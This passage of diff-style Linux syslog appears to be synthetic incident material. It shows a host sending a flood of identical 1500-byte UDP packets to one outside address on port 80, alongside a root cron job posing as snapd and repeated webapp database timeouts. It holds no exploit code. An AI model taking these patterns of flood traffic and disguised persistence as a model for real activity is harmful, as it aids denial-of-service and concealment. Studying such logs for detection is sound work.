ID=12345 PROTO=UDP SPT=16913 DPT=80 LEN=1480 +Jul 15 10:04:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=24922 DPT=80 LEN=1480 +Jul 15 10:04:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=25297 DPT=80 LEN=1480 +Jul 15 10:04:35 webapp[5432]: ERROR: Database connection timeout while handling request for /api/data +Jul 15 10:04:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=40706 DPT=80 LEN=1480 +Jul 15 10:04:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=27262 DPT=80 LEN=1480 +Jul 15 10:04:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=41577 DPT=80 LEN=1480 +Jul 15 10:04:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=15026 DPT=80 LEN=1480 +Jul 15 10:04:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=29413 DPT=80 LEN=1480 +Jul 15 10:04:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=36609 DPT=80 LEN=1480 +Jul 15 10:04:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=48023 DPT=80 LEN=1480 +Jul 15 10:04:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=65370 DPT=80 LEN=1480 +Jul 15 10:04:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=31823 DPT=80 LEN=1480 +Jul 15 10:04:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=58025 DPT=80 LEN=1480 +Jul 15 10:04:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=13469 DPT=80 LEN=1480 +Jul 15 10:04:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=10872 DPT=80 LEN=1480 +Jul 15 10:04:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=22238 DPT=80 LEN=1480 +Jul 15 10:04:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=25148 DPT=80 LEN=1480 +Jul 15 10:04:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=39868 DPT=80 LEN=1480 +Jul 15 10:04:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=33597 DPT=80 LEN=1480 +Jul 15 10:04:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=26076 DPT=80 LEN=1480 +Jul 15 10:04:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=34290 DPT=80 LEN=1480 +Jul 15 10:04:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=14192 DPT=80 LEN=1480 +Jul 15 10:04:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=47192 DPT=80 LEN=1480 +Jul 15 10:04:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=23084 DPT=80 LEN=1480 +Jul 15 10:04:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=61139 DPT=80 LEN=1480 +Jul 15 10:04:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=44335 DPT=80 LEN=1480 +Jul 15 10:04:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=61308 DPT=80 LEN=1480 +Jul 15 10:04:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=60584 DPT=80 LEN=1480 +Jul 15 10:04:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=56187 DPT=80 LEN=1480 +Jul 15 10:04:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=20898 DPT=80 LEN=1480 +Jul 15 10:04:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=21519 DPT=80 LEN=1480 +Jul 15 10:04:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=57682 DPT=80 LEN=1480 +Jul 15 10:04:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=57464 DPT=80 LEN=1480 +Jul 15 10:04:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=61920 DPT=80 LEN=1480 +Jul 15 10:05:00 systemd[1]: Started Session 160 of user root. +Jul 15 10:05:00 CRON[1860]: (root) CMD ( /usr/lib/snapd/snapd --review) +Jul 15 10:05:00 webapp[5432]: ERROR: Database connection timeout while handling request for /api/data +Jul 15 10:05:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=39661 DPT=80 LEN=1480 +Jul 15 10:05:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=13496 DPT=80 LEN=1480 +Jul 15 10:05:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=52358 DPT=80 LEN=1480 +Jul 15 10:05:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=48036 DPT=80 LEN=1480 +Jul 15 10:05:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=20255 DPT=80 LEN=1480 +Jul 15 10:05:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=35812 DPT=80 LEN=1480 +Jul 15 10:05:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=59737 DPT=80 LEN=1480 +Jul 15 10:05:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=36009 DPT=80 LEN=1480 +Jul 15 10:05:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=30751 DPT=80 LEN=1480 +Jul 15 10:05:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=55070 DPT=80 LEN=1480 +Jul 15 10:05:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=41570 DPT=80 LEN=1480 +Jul 15 10:05:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=60887 DPT=80 LEN=1480 +Jul 15 10:05:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=42423 DPT=80 LEN=1480 +Jul 15 10:05:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=60159 DPT=80 LEN=1480 +Jul 15 10:05:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=59811 DPT=80 LEN=1480 +Jul 15 10:05:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=45225 DPT=80 LEN=1480 +Jul 15 10:05:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=45843 DPT=80 LEN=1480 +Jul 15 10:05:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=21022 DPT=80 LEN=1480 +Jul 15 10:05:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=55379 DPT=80 LEN=1480 +Jul 15 10:05:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=35533 DPT=80 LEN=1480 +Jul 15 10:05:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=64030 DPT=80 LEN=1480 +Jul 15 10:05:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=14380 DPT=80 LEN=1480 +Jul 15 10:05:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=24970 DPT=80 LEN=1480 +Jul 15 10:05:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=28751 DPT=80 LEN=1480 +Jul 15 10:05:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=55674 DPT=80 LEN=1480 +Jul 15 10:05:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=54468 DPT=80 LEN=1480 +Jul 15 10:05:25 webapp[5432]: ERROR: Database connection timeout while handling request for /api/data +Jul 15 10:05:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=23819 DPT=80 LEN=1480 +Jul 15 10:05:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=17522 DPT=80 LEN=1480 +Jul 15 10:05:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=57831 DPT=80 LEN=1480 +Jul 15 10:05:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=23445 DPT=80 LEN=1480 +Jul 15 10:05:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=39731 DPT=80 LEN=1480 +Jul 15 10:05:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=32045 DPT=80 LEN=1480 +Jul 15 10:05:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=17827 DPT=80 LEN=1480 +Jul 15 10:05:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=45586 DPT=80 LEN=1480 +Jul 15 10:05:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=50569 DPT=80 LEN=1480 +Jul 15 10:05:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=22541 DPT=80 LEN=1480 +Jul 15 10:05:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=40196 DPT=80 LEN=1480 +Jul 15 10:05:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=12209 DPT=80 LEN=1480 +Jul 15 10:05:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=21211 DPT=80 LEN=1480 +Jul 15 10:05:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=31302 DPT=80 LEN=1480 +Jul 15 10:05:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=23060 DPT=80 LEN=1480 +Jul 15 10:05:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=52138 DPT=80 LEN=1480 +Jul 15 10:05:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=59492 DPT=80 LEN=1480 +Jul 15 10:05:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=10235 DPT=80 LEN=1480 +Jul 15 10:05:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=14477 DPT=80 LEN=1480 +Jul 15 10:05:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=57848 DPT=80 LEN=1480 +Jul 15 10:05:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=31719 DPT=80 LEN=1480 +Jul 15 10:05:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=24412 DPT=80 LEN=1480 +Jul 15 10:05:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=53281 DPT=80 LEN=1480 +Jul 15 10:05:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=62806 DPT=80 LEN=1480 +Jul 15 10:05:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=41663 DPT=80 LEN=1480 +Jul 15 10:05:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=23982 DPT=80 LEN=1480 +Jul 15 10:05:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=32719 DPT=80 LEN=1480 +Jul 15 10:05:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=11776 DPT=80 LEN=1480 +Jul 15 10:05:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=60905 DPT=80 LEN=1480 +Jul 15 10:05:50 CRON[1870]: (root) CMD ( /usr/lib/snapd/snapd --review) +Jul 15 10:05:50 webapp[5432]: ERROR: Database connection timeout while handling request for /api/data +Jul 15 10:05:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=41112 DPT=80 LEN=1480 +Jul 15 10:05:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=55512 DPT=80 LEN=1480 +Jul 15 10:05:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=40062 DPT=80 LEN=1480 +Jul 15 10:05:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=22010 DPT=80 LEN=1480 +Jul 15 10:05:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=26223 DPT=80 LEN=1480 +Jul 15 10:05:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=17952 DPT=80 LEN=1480 +Jul 15 10:05:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=25248 DPT=80 LEN=1480 +Jul 15 10:05:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=50045 DPT=80 LEN=1480 +Jul 15 10:05:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=61907 DPT=80 LEN=1480 +Jul 15 10:05:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=59960 DPT=80 LEN=1480 +Jul 15 10:05:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=40293 DPT=80 LEN=1480 +Jul 15 10:06:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=10050 DPT=80 LEN=1480 +Jul 15 10:06:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=54611 DPT=80 LEN=1480 +Jul 15 10:06:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=42997 DPT=80 LEN=1480 +Jul 15 10:06:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=51408 DPT=80 LEN=1480 +Jul 15 10:06:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=51430 DPT=80 LEN=1480 +Jul 15 10:06:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=54540 DPT=80 LEN=1480 +Jul 15 10:06:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=30475 DPT=80 LEN=1480 +Jul 15 10:06:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=47582 DPT=80 LEN=1480 +Jul 15 10:06:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=42050 DPT=80 LEN=1480 +Jul 15 10:06:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=45224 DPT=80 LEN=1480 +Jul 15 10:06:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=16008 DPT=80 LEN=1480 +Jul 15 10:06:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=28834 DPT=80 LEN=1480 +Jul 15 10:06:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=33605 DPT=80 LEN=1480 +Jul 15 10:06:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=58305 DPT=80 LEN=1480 +Jul 15 10:06:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=14111 DPT=80 LEN=1480 +Jul 15 10:06:15 systemd[1]: Started Session 175 of user root. +Jul 15 10:06:15 webapp[5432]: ERROR: Database connection timeout while handling request for /api/data +Jul 15 10:06:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=44535 DPT=80 LEN=1480 +Jul 15 10:06:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=30751 DPT=80 LEN=1480 +Jul 15 10:06:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=10280 DPT=80 LEN=1480 +Jul 15 10:06:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 